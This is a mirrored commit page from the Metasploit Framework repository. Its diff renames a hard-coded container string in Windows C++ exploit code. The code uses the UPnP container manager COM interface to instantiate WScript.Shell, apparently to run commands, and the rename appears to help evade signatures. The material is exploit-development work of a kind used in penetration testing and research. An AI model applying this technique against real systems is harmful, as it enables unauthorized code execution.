mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-09 04:26:11 +02:00
Randomize container name
This commit is contained in:
parent
0257861c4f
commit
7e05642a1b
Binary file not shown.
@ -31,12 +31,12 @@ int wmain(int argc, wchar_t* argv[], wchar_t* envp[])
|
||||
HRESULT hr1, hr2 = 0, hr3 = 0, hr4 = 0;
|
||||
IUPnPContainerManager* ContainerMgr;
|
||||
hr1 = CoCreateInstance(guidObject, nullptr, CLSCTX_ALL, IID_PPV_ARGS(&ContainerMgr));
|
||||
hr2 = ContainerMgr->ReferenceContainer((wchar_t*)L"apt69");
|
||||
hr2 = ContainerMgr->ReferenceContainer((wchar_t*)L"fUUUtb");
|
||||
CLSID clsid;
|
||||
CLSIDFromProgID(OLESTR("WScript.Shell"), &clsid);
|
||||
IWshShell* WshInterface = nullptr;
|
||||
auto ShellUUID = __uuidof(IWshShell);
|
||||
hr3 = ContainerMgr->CreateInstance((wchar_t*)L"apt69", &clsid, &ShellUUID, (IUnknown**)&WshInterface);
|
||||
hr3 = ContainerMgr->CreateInstance((wchar_t*)L"fUUUtb", &clsid, &ShellUUID, (IUnknown**)&WshInterface);
|
||||
|
||||
int out;
|
||||
VARIANT s;
|
||||
|
Loading…
Reference in New Issue
Block a user